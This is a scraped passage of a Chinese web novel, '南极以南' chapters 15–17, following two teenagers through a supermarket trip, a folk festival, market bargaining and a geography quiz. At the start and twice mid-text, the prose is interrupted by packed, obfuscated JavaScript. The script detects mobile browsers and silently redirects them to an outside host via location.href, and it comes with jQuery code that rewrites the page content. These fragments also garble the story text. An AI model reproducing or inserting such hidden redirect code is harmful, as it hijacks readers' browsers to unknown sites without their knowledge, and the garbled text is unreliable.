l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230251|181326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算了,晚上吃太饱了,吃不下,”历霜用上了迂回战术,“下次来我肯定空点肚子。” 服务员:“那少买一点。” 历霜:“太浪费了,晚上不适合吃重油的。” 服务员见历霜说不动,转向他身后那位狗啃刘海帅哥,和蔼地问:“那这位小帅哥觉得怎么样?” 焦青钰:“好吃。” 服务员眼睛一亮:“那可以买个半斤……” 焦青钰:“太多。” 服务员:“其实也不多,看着电视剧一下子就吃完了呀。” 焦青钰:“钱不够。” 服务员:“……” 旁边的历霜遮着嘴巴,真的快笑死了。 他们俩离开这里后,历霜才轻笑一声,问:“十八块都没,来超市干嘛?” 焦青钰淡淡地反问:“不是你让我来的?” 也对。 “你那对话笑死我了,我要发好友圈,”历霜拿起手机,特地说了一句,“放心,保证不改编。” 焦青钰无所谓。 反正他们俩又没好友,历霜编了什么他也看不见。 历霜又说:“你要看的话也可以,加个好友。” “有必要吗。”焦青钰语气依旧冷淡,“再过一个月你就要回去了,加了有什么用?” 历霜笑道:“这么听起来,你好像有点不舍得啊。” 焦青钰看着他:“你可以去看耳科。” 历霜还想再说点什么,口袋里的手机突然响了。 他接起电话,原本带笑的眉眼瞬间柔和下来,连声音都放轻了几分:“妈妈,怎么了?” 焦青钰还是第一次听见历霜用这么温和的语调说话,连目光都裹着一层暖意。 而那道目光很快就转了过来,落在他身上。 “嗯……我和姑妈逛超市呢……还有一个新认识的邻居。”历霜一边说,一边对焦青钰比了个“你先往前走”的手势。 就算他不做这个手势,焦青钰也已经扭头迈开了步子。 历霜因为打电话,走路的速度明显变慢了。 他们两个人的距离从半米,变成一米,最后成两个货架的距离。 焦青钰在前面走,经过数座货架,却没有选一个东西,他沉默地扫视一切。 上次来是什么时候。好几年了吧?经过那次事件后,他很少来超市。 因为一些事,让那次对他而言不算好的回忆。 “妈妈——呜呜呜——” 突然,一阵尖锐的小孩哭声突破了嘈杂。 那声音像刹车片摩擦地面似的,刺得人耳膜发疼。 “呜呜——啊啊啊啊——妈妈——啊——” 焦青钰循声看去,只见一个小男孩在墙角痛哭流涕。 他穿着黑色的毛衣,双手捂着脸,眼泪顺着指缝一滴滴砸在地上。 来往的行人脚步匆匆,视若无物,无人在意他。 小男孩哭得越来越凶,抽噎着几乎喘不上气。 “呜啊——妈妈——啊啊——” 这些“妈妈”在焦青钰的耳朵里由慢到快,不停地循环,越来越尖锐,越来越刺耳,最后变成尖叫声。 尖叫声像无数根细针,扎在焦青钰的耳边,又钻进脑子里打转。 超市的灯光亮得晃眼睛,擦肩而过的嬉笑声越飘越远,像隔了层厚厚的玻璃,模糊又失真。 数不清的人从他身边走过,脚步慢慢变快,最后成了叠在一起的残影。 商铺飘来的炸串香气成了一层沉重的油味,像块湿冷的布,顺着呼吸往他胃里钻,又从毛孔慢慢散发出来,渗透进他的衣服里。 他的胃开始翻江倒海,喉咙发紧脚步渐渐变得沉重。 就在这时,焦青钰感觉手臂被人猛地往后拽了一下。 刺耳的尖叫声像被按下了暂停键,在一瞬间消失了。 他僵硬地转头,只看见讲电话的历霜用空余的手紧紧抓着他的胳膊。 “好的,再见。”历霜挂了电话,把手机塞进口袋,语气带着点疑惑,“你要去哪里?你再走就要走回家了。” 焦青钰这才发现,他莫名其妙地走到了逃生出口的门前。 他猛地转头看向刚才的墙角,那里只有两个拎着塑料袋交谈的年轻人。 从来没有什么小男孩。 历霜看着焦青钰起伏的肩膀渐渐平缓下来,才松开了抓着他胳膊的手,语气缓和了些:“走吧,集合了。” 话音刚落,他就听见一道轻轻的声音传来:“……加吧。” 历霜愣了一下,没反应过来:“啊?” 焦青钰抬起眼皮,那双眼睛像漆黑的油墨,没什么情绪。 他就这么看着历霜,嘴唇轻轻翕动,重复了一遍:“我说,加好友吧。” 15.南极以南 “【雪球】通过了你的好友验证,以上是打招呼的消息。” 焦青钰的视线缓慢向上,从这句话移动到备注的“历霜”。 他那天同意加好友,都做好历霜加上好友后嘲讽他在超市里发愣的准备了。 结果直到现在——民俗大会这天,他们俩的聊天界面只有这句系统提示。 如果不是历霜的好友圈每天都在更新,焦青钰还以为加了个小号。 “……”焦青钰摩挲手机,沉默后,戴上眼镜扫视四周。 民俗大会的表演的舞台是露天的。 晚霞正悬在西天,柔和的光洒在眼前的古风舞台。 舞台两侧是朱红立柱,缠着金红相间的绸带,印着“民俗大会2022年7月演出”几个字,烫金纹路泛着暖光。 悬挂在亭台的灯笼串亮了起来,橘色光团映着背景板上的水墨山水;几个换好演出服的演员,正躲在舞台侧方搭建的假山后探头探脑。 他和赵益和、赵棠来得早,抢了第三排的好位置。 今年的座椅不再是硌得屁股疼的塑料椅,换成了带双把手的雅致木椅,椅面上还铺了软垫,久坐也不难受。 入场时每人还能领一个小电风扇,好多小朋友用手指戳扇瓣玩。 “你那个朋友来吗?”赵棠探着脑袋问焦青钰。 “谁啊?”中间的赵益和先问她。 这姐弟俩今天穿搭的颜色跟他们学校的运动校服如出一辙。 搞得焦青钰最开始还以为他们俩穿校服来了,结果只是黑白搭配的短袖和长裤。 “历霜呗。”赵棠说。 “你们俩关系这么好了?”赵益和看向焦青钰。 焦青钰耸了耸肩:“没好,一般。” “我就说……诶呀,给了门票肯定会来的,”赵益和怼了下赵棠的胳膊,“管人家干嘛。” “随口问问啊,那你知道山鸡去哪了吗?” “他肯定跟杜奶在……” 赵棠和赵益和又开始聊了起来,焦青钰的注意重新回到手机上。 朋友。 他和历霜算不上朋友。 焦青钰是个交友很慢的人。 他的那些朋友,多的认识了十多年,最少也有高中两年。 因为他是认定朋友是真心换真心,而真心需要时间去了解,至少也得要一个月。 所以他跟才来十几天的历霜怎么能算得上是朋友。 只能算是…… “意料之外的熟人。”焦青钰点开历霜的朋友圈。 历霜的每次出现都在他的意料之外,连他们认识都算一场意外。 怎么形容这个感觉? 如同他总习惯沿着固定的路线走,路边的树、墙角的青苔、甚至收摊的时间都熟得不能再熟。 却在某个转身的瞬间,发现原本空着的石阶上,多了株不知何时冒出来的薄荷树。 历霜不是那株薄荷。 是那个蹲下身,静静观察薄荷树的旅人。 说不定他在某一时刻,某一个巷口,又会突如其来地出现,让他措手不及。 焦青钰的手指随意滑动屏幕,历霜的好友圈一直在加载新内容,压根拉不到底。 除了今年的六月一日到六月二十二日没有任何内容,其他时候基本一天一条,多则三条以上。 内容多数是生活记录,少部分是自拍。 历霜的自拍文案特别像p图软件送的图片合集。 焦青钰随手点开一张历霜在路灯下向左看的照片。 照片拍得挺好,光线将历霜的侧脸勾勒的清晰分明,鼻梁直直地落下,鼻头微微挺翘。 结果顶上的配字是:都市伤感氛围感帅哥男头壁纸自拍AAA仅供观赏。 “……”焦青钰再看一次还是无语。 甚至这还不是唯一。 五月二十九日上传的校服西装大背头毕业照,配字是:都市校园青春毕业男头壁纸证件照AAA仅供观赏。 五月二十六日趴在书桌上转笔的图片,配字是:都市情感博主复习高三帅哥夜景AAA质感美照。 焦青钰:“……” 这人对广告为什么情有独钟。 好在历霜只有自拍的文案诡异,生活记录的文案都很正常。 比如那天,他带历霜走黄土路的那段视频,配字是:“来小镇的第三天,遇到了很美的晚霞,希望在和不在的朋友们都能看见。新月已生飞鸟外,落霞更在夕阳西。” 历霜的朋友圈有这种很普通的日常,学校里学习、同学的合照、游戏通关的贺图;也有更加正式地、去外地旅游的照片。 今年寒假,历霜的ip在俄罗斯摩尔曼斯克。 照片里,他身穿简约的杏色毛线衣站在极光下合影,绿与粉紫交织的光带横跨夜空,身后是一望无际的皑皑白雪。 去年暑假,历霜的ip又在挪威的卑尔根,照片是他在布吕根码头拍的落日。 古老的木结构房屋被夕阳染成暖橘色,港湾的水面闪烁着碎金般的光芒。 看到这些照片,焦青钰第一反应不是羡慕,而是确定了一件事—— 他和历霜只能成为熟人。 当他坐在小小的卧室里通过互联网屏幕窥探世界之外时,历霜早已亲自踏遍四海,在异国他乡的土地上留下足迹。 像这片焦青钰从小生长的土地,对历霜来说,也只是漫长人生旅行中的一站而已。 等暑假结束、明年高考落定,他们各自奔赴不同的大学。 小镇的他们就会像照片里那些隐隐绰绰的路人一样,悄无声息地变成人海中的一部分。 这样的他们怎么能做朋友? “咚咚咚——”锣鼓声响起,预示着距离开场还剩下半小时。 就在这时,焦青钰的手机顶端传来一条消息。 【历霜】:我进园区了,你们在哪个位置? 焦青钰退到聊天窗口回答。 【焦青钰】:A区。 不过几秒,历霜回了他。 【历霜】:座位在哪? 焦青钰扫视周围,简明扼要地回答:“中间。” 【历霜】:没序号? 【焦青钰】:靠抢。 【历霜】:真返璞归真。 焦青钰一点也没说谎。 这里就跟看露天电影一样,除了最前面是60岁以上的预留座,其他位置都是早来有,迟来就只能在后排。 不过焦青钰坐过后排,后排位置会高,视野还是很清楚的。 很快,对方又发来消息。 【历霜】:有人因为这个打起来吗? 【焦青钰】:去年有。 【历霜】:结果呢? 【焦青钰】:保安来了。 【历霜】:行,我也来了 焦青钰没有回话,手机太久没动自己息了屏。 随着入场的人越来越多,有大叔想坐焦青钰的旁边,焦青钰冲他点头:“去上厕所了。”他想把这个位置留给芳沁。 大叔再往旁边坐,焦青钰面不改色地说:“他们一起去的。”这个给历霜。 几分钟后,赵益和戳了戳焦青钰的胳膊,冲观众席进口说:“那个是不是历霜?” 焦青钰顺着他的视线扭头,只见历霜穿着青绿色带一条竹叶花纹的衬衫,手机拎着一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241901|181326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塑料袋。 他长得实在突出,很难不发现他。 历霜原本在张望,看见他们在挥手,立马露出笑来,拎着袋子从人群的缝隙里穿过来,脚步很是轻快。 等历霜走到跟前,焦青钰扫了眼他身后,没看见芳沁的身影,便抬头问:“芳姑呢?没跟你一起过来?” “她突然牙疼,临时去医院了。”历霜从口袋里摸出张湿巾纸,仔细擦了擦旁边的座椅垫,才转头跟赵益和、赵棠打招呼,“你们好啊,又见面了。” 赵棠摆了摆手,笑着打趣:“还记得我不?” 历霜点头,目光落在她的头发上:“记得,那天的双马尾。” 赵益和立即笑出声,指着赵棠乐:“哈哈哈双马尾都要成你刻板印象了。” 赵棠翻了个白眼,又问历霜:“要是看牙,得去县里的医院吧?” “嗯,她开车去的,把票给了李二嫂,”历霜从塑料袋里拿出两袋牛肉干,递到焦青钰面前,“这个是她给你的。” 焦青钰抓着另一边,看着历霜:“你怎么过来的?” “打车,”历霜终于坐下,塑料袋放在腿上,“你们呢?” 焦青钰说:“公交。” “我受不了等车,就直接打车了,”历霜环顾热闹的观众席,语气有点意外,“这地方不错啊,还送小电风扇,椅子也挺好的,我还以为是塑料椅呢。” “去年是塑料椅,今年不知道咋了,莫名其妙就升级了,”赵益和拍拍扶手,“看来这个节目还是挺赚钱的。” “门票能赚几个钱啊?肯定是有企业投资了。”赵棠立马反驳,若有所思地搓着下巴,“这几年非物质文化遗产方面渐渐受欢迎了,网上小视频不也有几百万赞那种吗?肯定拉来投资了。” 赵益和恍然:“难怪啊,我说怎么待遇这么好了,原来有靠山了。” 赵棠不愧是他们中最有经商头脑的小老板,还真给她说中了。 节目开始前,主持人先感谢大家捧场,紧接着开始感谢今年的几个投资企业。 大部分的企业大家都没听过,场上各聊各的,只有“青碧集团”的名字出来时,在场好几个年轻人发出了“哦——”的声音。 而他们四位里,赵棠和赵益和也发出了这个声音。 在第一幕准备的休息时间里,焦青钰转头问赵益和:“你们知道?” 赵益和点头:“知道啊,我玩的那个《圣域》就是他家旗下的游戏公司做的。这公司老总特招笑,微博发了自己的游戏名,结果被通缉俩礼拜,最后重金求保镖哈哈哈!这事在我们圈闹得可火了,玩别的游戏的朋友也都知道这事。” “我不知道游戏的梗,但我知道这个集团,”赵棠说,“我大学毕业想去这个集团的公司实习啊,所以多关注了点。” “哦,你之前说的就是那个公司啊。” “对啊,还有他们公司……” 这两人又开始聊起来了。 焦青钰对此公司的简章不感兴趣,听着听着有点出神了,开始在脑子里给自己出四位数的算术题。 刚算到三位数,胳膊被人怼了一下。 焦青钰缓缓看去,历霜正看着手机,话确实是跟他说的:“你为什么不回我。” 焦青钰:…… 他刚才有跟历霜说话吗? 哦,应该是最开始历霜递牛肉干的时候,他没搭理。 焦青钰想着,慢慢举起手,打招呼似的轻晃了一下:“你好?” 历霜明显愣了愣,随即低头笑出了声,肩膀带着轻颤:“我是说微信消息。” 焦青钰:“……”默默把手放了下来。 就无语。 16.南极以南 历霜笑完,故意举起手,模仿焦青钰冷淡的语气:“你好。” 焦青钰没接话,默默挪开视线。 历霜微微侧过身子,强行塞进焦青钰的视野里,再次挥动手掌地重复道:“你好~” 这人真是欠啊…… 焦青钰忍不住了,降下眉毛,狠狠剐一眼历霜:“你够了。” “哈哈,”历霜不玩了,往后掳了刘海,露出他的断眉,眼睛笑得弯了一些,“原来是真人呢,我还以为是机器人呢。” 焦青钰懒得搭理:“说正事。” “刚刚不是说了吗?你不回我。”历霜说。 焦青钰打开手机。 在那句“行,我也来了”两分钟后,历霜又发了一句【你们要喝果汁吗?】 但当时焦青钰没看手机,所以不知道。 焦青钰抬头,刚好对上历霜的视线。 他想了想,弯下腰,拿出椅子下的保温杯,一脸认真地回答:“不用。” “……”历霜嘴唇翕动,半天憋了一句,“废话,我人都进来了,想买也买不了。” “哦,也对。”焦青钰重新放下保温杯。 历霜盯着他的动作,重新坐直身子,随口问道:“里面是奶茶?” 焦青钰点头。 历霜握着手机的右手轻轻搭在大腿上,另一只手托着下巴,故作沉思:“真看不出来,你原来喜欢奶茶,我还以为你会别的。” 焦青钰疑惑地歪头:“别的什么。” 历霜:“机油。” 焦青钰:“……” 在焦青钰用眼神轰炸历霜时,舞台恰到好处地响起锣鼓声,提示大家节目开始了。 历霜拿起手机,仿若刚刚什么事都没发生地拍摄舞台。 民俗大会分为四段节目,前面两段是长达两个小时的表演,后面两段是互动游戏,八点准时结束。 五点半点钟准时开始第一个节目——戏曲类。分别选取了京剧的《定军山》、黄梅戏《女驸马》、昆曲《牡丹亭·惊梦》三类片段。 演员们个个嗓音洪亮,唱腔抑扬顿挫;戏服更是精致考究,各有千秋的端庄漂亮。每次表演完,演员们就会下台撒糖或者分小礼品。 配合霓虹漫天,恍惚间竟让人有种穿越回古代看戏曲的错觉。 焦青钰不怎么看戏曲,倒不是觉得无聊,只是他无法感受这些词句的美,怕自己粗浅的见解破坏了原意,就干脆不接触了。 他的文科成绩看着挺好,全靠他的记忆力和同样题型照搬,要他抛开那些题目去细品古文的奥妙,他读不懂的。 他只能看懂这个要得江山、那个死了活了的。 每到高/潮部分,观众席都会掌声雷动,焦青钰跟着鼓掌,顺势看向周围。 赵益和跟他一样看不懂,时而和赵棠唠嗑或者玩手机游戏。 他又把头转向右边,历霜目光紧紧锁在台上,一只手举着手机拍摄舞台。 每次唱完一段,还会和旁边的大叔一起拍手叫好。 历霜注意到焦青钰的视线,放下手机,微微歪头:“怎么了?” 焦青钰看着他:“你喜欢这个。” “挺好看的啊。”历霜斜睨了眼舞台上唱曲的杜丽娘,“人间自是有情痴,此恨不关风与月。” 一看就是文科生。 不过倒是符合历霜的形象。 焦青钰听见历霜问:“看你整段都开小差兴致缺缺,你对这个不感兴趣吧。” “这部分不感兴趣,后面还行。”焦青钰如实回答。 第二个节目是杂耍。 红绸翻飞间,几个杂耍艺人踩着鼓点登场,此时天已经暗下来,那些灯笼各个亮起。 其中一位穿花点中式短衫、下身配宽松玫红长裤的小姑娘,她一跃跳上木桌,将一块薄木板架在倒放的瓷瓶弧面上,随着音乐节奏,稳稳踩上木板。 随后将手里的五只青花碗依次向上抛,脑袋灵活转头,一个接一个将碗顶在额前,碗沿相叩发出清脆声响。 观众席掌声雷动,赵益和也来了劲,不停地鼓掌说:“我去,这是真牛啊,换我已经赔二百了。” 焦青钰鼓掌的时候,感觉膝盖一动。 原来是历霜往他这里凑过来,腿不小心顶到他了。 历霜凑过来的第一句是:“你不挺擅长搞平衡的吗,也能去。” 焦青钰:“……” 焦青钰知道这是在说滑板的事。 他瞪了历霜一眼:“你怎么还记得。” 历霜得意地一笑:“没办法,记忆力好。” 小姑娘表演结束后,音乐换成琵琶与舞鼓合奏的曲子。 同组的其他艺人上台,合力表演了舞狮。 狮头在灯光下闪着亮片,配合着鼓点腾挪跳跃梅花桩,场面格外热闹。 第三段节目为互动环节,类似于体验活动,想参加的人可以举手,选定的观众上台体验皮影戏、太极拳体验、苏绣体验、剪纸等五样非物质文化遗产。 这段时间长达四十五分钟,也是其他观众的中场休息时间,可以逛逛去园区里的小摊。 为了防止有人抢座,在第二段节目开始的时候,工作人员就给每个人发了座位的小牌子,就是为了让他们在这段时间里能按牌子回座位。 赵棠和赵益和要上台体验,焦青钰选择去外面走走,于是他们四人两两分组,历霜和焦青钰一起去集市了。 园区的小摊在西南方,卖的是些小古玩或者一些文创,来往的人很多。 历霜一路走一路拍,他对其中摆小古件的摊子特别感兴趣,不由地停下来,蹲在小摊前。 焦青钰见状,不解地皱眉,但还是没走,静静站在旁边。 他想看看历霜要干嘛。 要是认为这些是真的,那历霜在他心里的智商得降个三级了。 这个摊的摊主是一位三十多的大叔,握着把蒲扇潇洒地扇风,说:“帅哥要买啥啊?” 历霜指着拿加特林的小型兵马俑问:“哥,这是什么时候的?” 摊主看了一眼,说:“上周的。” 焦青钰:“……” 竟然还挺诚实。 历霜问:“多少钱?” 摊主伸出三根手指:“三千。” 焦青钰:“?” 焦青钰头一回看见光天化日下开小摊抢钱的,三千?这玩意三块钱都多。 相比准备撸起袖子动手的焦青钰,历霜相当淡定。 他也伸出三根手指,认真地说:“三十。” 摊主果然怒了:“我这三千!” 历霜:“二十。” 摊主:“成本价都赚不了!” 历霜:“那三块。” 摊主:“行吧。” 焦青钰:“……?” 焦青钰大脑宕机的时候,历霜又指着刻着“made.in.china”的迷你玉玺问:“这个呢?” “上个月的,”大叔说,“看还有英文,纯外国货。” 历霜:“那这个多少钱?” 摊主甚至嘶了一声,故作深沉地说:“这可是皇家玉玺,少说也得一万八吧。” 历霜:“十八块。” 摊主:“可以。” 焦青钰:“……” 焦青钰彻底懂了,这俩人纯闹着玩,他无语地转身就走。 摊主笑呵呵地说:“你朋友没你幽默,这就走了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248122|181326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没事,他这人就这样,”历霜也站了起来,“老板这些玩意可真有意思,咋想着卖这些啊?” 摊主笑道:“这里都是正儿八经的,总得来点搞笑的充充场子吧,总不能真让你们家里当传家宝吧。” 这话倒挺有意思。 历霜笑了笑。 “要不是我家里这种玩意儿够多了,我还挺想买的,”历霜冲摊主挥挥手,“拜拜啦,祝哥生意兴隆哈。” 当历霜找到焦青钰的时候,焦青钰正停在一家买丝巾的摊子,正听见摊主说她们工作室是官方认证的,这里每条都是手工绣的,绣了小半年。 焦青钰的目光落在一条绣着粉色桃花的丝巾上,指尖轻轻摩挲着布料,显然很喜欢那精致的图案。 历霜瞥了眼他的动作,转向摊主问:“这些丝巾多少钱一条?” 摊主指着价目表:“每条一百五。” 这话一出,焦青钰立马收回手,往后退了半步。历霜看在眼里,凑近他小声问:“准备买给谁?” 焦青钰:“我妈。” 历霜又问:“你带了多少钱?” 焦青钰算了算,老实回答:“一百零三。” 历霜转头看向摊主,语气熟稔地砍价:“姐,便宜点,一百块一条行不行?” 摊主笑着摇头:“帅哥,你这砍得也太狠了。” 历霜眼珠一转,又说:“那我们买两条,两条二百,都是买给妈妈的。” 摊主的目光在两人之间打了个转,最终叹口气:“行吧,看你们长得帅又有孝心,二百就二百。” 焦青钰眼睛骤然亮了,立马从口袋里掏出一张一百元放在摊上。 历霜则掏出手机扫码付了剩下的钱。 摊主也是个好心人,特意找了漂亮的包装纸,把两条丝巾分别打包好,还系了蝴蝶结。 两人继续逛,拎着礼物袋的焦青钰不忘感谢历霜:“谢了。” “你要是真想谢我,就帮我做件事,”历霜说完,已经把手机塞进焦青钰的怀里,“你应该看过我好友圈里吧,像那样子帮我拍张照。” 焦青钰完全不想承认,面不改色地撒谎:“没看过朋友圈。” 历霜抱着臂,嗤笑一声:“你都给我点赞了,还装没看过?” 焦青钰赶紧拿出自己的手机,点开历霜的朋友圈翻了一圈,压根没看到什么“手滑点赞”的记录。 他抬头,肯定地说:“没有,我没点赞。” 历霜耸耸肩,笑得狡黠:“现在不就看过了?” ……上当了! 焦青钰这才反应过来自己又被历霜骗了,脸顿时沉了点,但还是帮历霜拍了照片。 摊上的暖光漫下来,刚好将历霜的脸笼在一片柔和里。他本就生得清俊,这下五官更显立体。额前那道断眉不仅不突兀,反而添了几分故事感。 眼尾微微上挑,此刻正弯着笑,眼仁里映着暖黄的灯光。 焦青钰连拍了两张。 “可以啊,拍得不错。”历霜看着照片,满意地点头。 焦青钰没说话。 因为他是随便乱拍的。 像历霜这样的长相和身材,只要不是故意乱拍,闭着眼睛都拍不丑。 历霜存好照片,又举起手机自拍了一张,突然抬眼看向焦青钰:“我们俩拍一张合照吧。” “不要。”焦青钰下意识抗拒。 他不大喜欢自拍,和赵益和一起玩都很少自拍,更别提和历霜在一块儿了。 想想就起鸡皮疙瘩。 “姑妈又发消息问我跟你怎么样了,拍张照发过去,证明我们和谐相处。”历霜解释道。 焦青钰犹豫了几秒,最终点了点头:“行吧。” 17.南极以南 除了眼前这条摊位,河对岸也拉着一条长摊,红灯笼顺着河岸挂了一路。 夜幕彻底沉下来后,灯笼的暖光在水面映出细碎的光影。 他们走过小石桥,从头开始逛。 晚风带着水汽吹过,混着炸串的香气、糖炒栗子的甜香,还有摊主们此起彼伏的吆喝声,让夏夜显得不再单调。 河对岸的摊子多数是各类IP联名文创,印着热门动画角色的折扇、绣着古风纹样的帆布袋。 好多年轻人挤在弹弓打气球的摊子前,就为了那连中15个就有的超大玩偶。 历霜和焦青钰不想玩,单纯凑热闹,看了两分钟就走了。 他们两没怎么聊天,但始终走在一起,谁也没掉队。 历霜买了袋蜜饯和草莓味的棉花糖,他边走边啃,没到下一个摊位就啃得只剩根竹签。 焦青钰兜里只剩三块钱,刚好没什么想买的,就拎着礼品袋跟在旁边。 等他们折返回去,赵棠和赵益和正坐在位子上交头接耳,手里攥着体验后得来的小玩意。 赵棠捧着精巧的红纸花,旁边放着个一小个柿子皮影,皮影上的红漆在灯光下亮晶晶的。 赵益和后背的T恤被汗水浸出一片深色,手腕上绑着体验太极拳时送的吸汗手环。 赵棠见他们俩来了,而且都拎着东西,兴高采烈地问他们:“你们买了什么东西啊?” “丝巾,还有一些果干。”历霜坐回位置,把买来东西都塞进塑料袋,“给我姑妈的。” 赵益和凑过来开玩笑:“她不会就是吃这个牙疼的吧?” 历霜抱着塑料袋,笑着附和:“谁知道呢,不给她买她肯定又会叨念几句,还不如买了。” “你有弟弟妹妹吗?”赵益和听见这种大家长的语气,上下打量历霜,“感觉你是特溺爱弟妹的那种人。” 刚坐下的焦青钰闻言,不动声色地瞥了历霜一眼。 历霜往前倾了倾身子,手肘撑在膝盖上,笑着摇头:“我是独生子,但有表哥表姐,他们都对我很好。” “好羡慕啊!”赵益和就差握住历霜的手了,“我就不一样,天天被堂姐欺负!” 传说中“欺负他”的堂姐赵棠立马不乐意了,一把揪住赵益和的耳朵:“你说清楚。我什么时候欺负你了,哪次不是你自己作的?” “你上礼拜还打我了。” “谁让你偷偷把二伯家的玉米掰了喂马还说是我吃了的?” “你吃了两颗爆米花也是吃了……诶哟%&*f。”赵益和捂住耳朵,不满地嘀嘀咕咕,但又怕赵棠的凝视,说话声越来越小。 历霜呵呵地笑起来。 赵棠整治完赵益和,又问焦青钰:“你也买了这两样?” “就一个。”焦青钰拿起礼物盒,“钱不够。” 赵棠笑道:“一看就是送阿姨的。” “嗯。”焦青钰好好地把礼物盒放回袋子,和自己的保温杯并排放在一起。 距离第三段节目结束还有五分钟,台上的鼓乐声不断,有些回来的观众又上台围观其他人做东西。 焦青钰看了眼微信,历霜发来了他们俩的合照。 他们俩简直不是一个画风的。 两人站在河边的灯笼下,历霜卷翘的头发镀上暖黄的光,眼睛弯成月牙,眼尾微微上挑,唇线勾起明显的笑意。 而旁边的自己……呵呵。 要不是比了个僵硬的剪刀手,真看不出他是来玩的。 气场冷淡不说,黑框眼镜下一单一双的眸子没什么波澜,嘴唇抿成平直的线,看不出丝毫的喜悦。 但他知道自己确实笑了,心情确实挺好的,不知道拍出来为什么这么奇怪。 焦青钰抬头问历霜:“你发给她了吗。” “谁?”历霜顿了顿,这才点头,“哦,发了。” “发完就删了。”焦青钰补充道。他不想在历霜的手机里留自己的黑历史。 历霜却很满意的样子,点开照片,放大他们俩的脸:“这不挺好的吗?我像个来玩的游客,你也像个查奶茶店的稽核。” 焦青钰:“……” 焦青钰懒得回话,把手机揣进兜里,闭目休息,干脆眼不见为净。 过了一会儿,音乐声停了,主持人的声音响起:“接下来就是我们最后一个环节也是很多人期待的有奖竞猜环节,一等奖一名,奖品是是扫地机器人,二等奖两名,奖品是是超市五百元代金券!三等奖三名,是零食大礼包!参与比赛没选上的也有安慰奖!不想参加比赛的观众们也不用急哦,从正门离开的时候可以凭座位牌领一盒鸡蛋或者一盒咸鸭蛋或者八卷卫生纸。” 听到免费鸡蛋可以领,那群老年人最开心了,反正他们也不参加比赛,收拾好东西就去领鸡蛋了。 不过几分钟,第一排的老年人专属座只剩下三个老年人坐着。后排也有陆续离开的观众,等主持人走下台准备时,观众席还剩八成的人。 其中真正想参赛的没几个,大多是留下来看乐子的。 焦青钰坐正身子,他是肯定会参加的,他来这里就是为了那个代金券。 参赛的选拔也很简单,工作人员给举手要参加的人一张印有五道题的卷子和一只笔。前三题为选择题,最后两题为简述题,答题时长为10分钟。 工作人员也趁这十分钟开始布置场地。 台上忙活,台下也忙活。 焦青钰把卷子放在椅子上,蹲在地上动笔写字。其他三人凑过来看焦青钰的试卷。 题目都是高中课本延伸的地理题,偏门的不行,网上都不一定能找到答案;就算找到答案了,到时候上台一问三不知,丢的还是自己的脸,所以很少有人直接查手机的。 前面几题对焦青钰没难度,很快就写出来了。 第四题有点搞笑,问:假如你是地理小组成员,请讨论一下葫芦娃是哪里人,为什么? 赵益和说:“北京人啊,配音不都普通话吗?” 赵棠拿着小风扇帮焦青钰降温,听见这话,冲赵益和翻了一个白眼:“你怎么不说这是上海厂画的呢?” “哦也是。” 大家想看焦青钰怎么写的,结果焦青钰直接跳过了这题。 赵益和见状,问他:“这题你不会?你地理不是很好吗?” 焦青钰抬眼看着他们,认真地说:“我没看过葫芦娃。” 三人:“……” 赵棠本来想大喊怎么可能没看过,又颓下肩膀说:“对哦,你不怎么看动画片,小时候找你玩,你都是跟你爸看电视剧的。” 赵益和正准备拿手机给焦青钰看截图,一旁沉默的历霜突然开口了,说:“他们住的是尖顶茅草屋,屋顶倾斜有利于排水,说明年降水量丰富,可能是热带季风气候或者亚热带季风候,还有很多蛇和蝎子穿山甲,再加上背景很多钟乳石和石林,所以是……” 赵棠和赵益和猛地看去:“?!” 这边的焦青钰已经下笔了,冷静又飞快地说:“喀斯特地貌,应该是云贵高原地区,结合你说的穿山甲蝎子,生物多样性强,所以是云南。” 焦青钰的字很干净,提笔短促又有力,每一笔都有笔锋。 “你地理这么好?你怎么不答题啊?”赵益和不敢置信地看着历霜。这人不是复读吗?怎么看上去成绩挺好的? 历霜笑了笑,把手指放在嘴唇前,比了个“嘘”的手势。 赵益和见状,立马识趣地闭上了嘴。 焦青钰写完最后一题,起身走上台把卷子交给主持人。之后,陆续有参赛者过来交卷。 这么看过去,参赛的基本上都是高中生或者大学生,只有几个上了年纪的叔叔阿姨。 赵益和表示理解地点头:“也是,我要是毕业十多年了,我都记不得这些内容了。” 赵棠吹着小风扇,揶揄赵益和:“你现在也不记得吧。” 十分钟一到,几个工作人员开始对答案,喊出前六名的名字,焦青钰作为唯一的满分卷,自然有机会参加。 台上摆着六个简易的亮灯装置,谁抢到亮灯答对题了才能加分,要是没答对就只能等到其他人答完一次再答题。 赵益和很放心焦青钰的手速:“我们钰怎么说也是跟那么多人干过架的,手速慢点早没人了。” 这话说得还挺有道理。 历霜翘着二郎腿,静静地坐在那里,观看台上中央位置的人。 焦青钰鼻梁高挺,在侧脸投下一小片阴影,背脊挺得笔直地站在答题区。他穿了件白渐灰的短袖,搭配一条系着皮带的深色直筒裤,装扮干净又简洁。 帅得也十分明显。 主持人提的问题有历史地理也有古文题,其他选手看着主持人,一只手搭在灯上蓄势待发,只有焦青钰盯着朱红的绸缎。 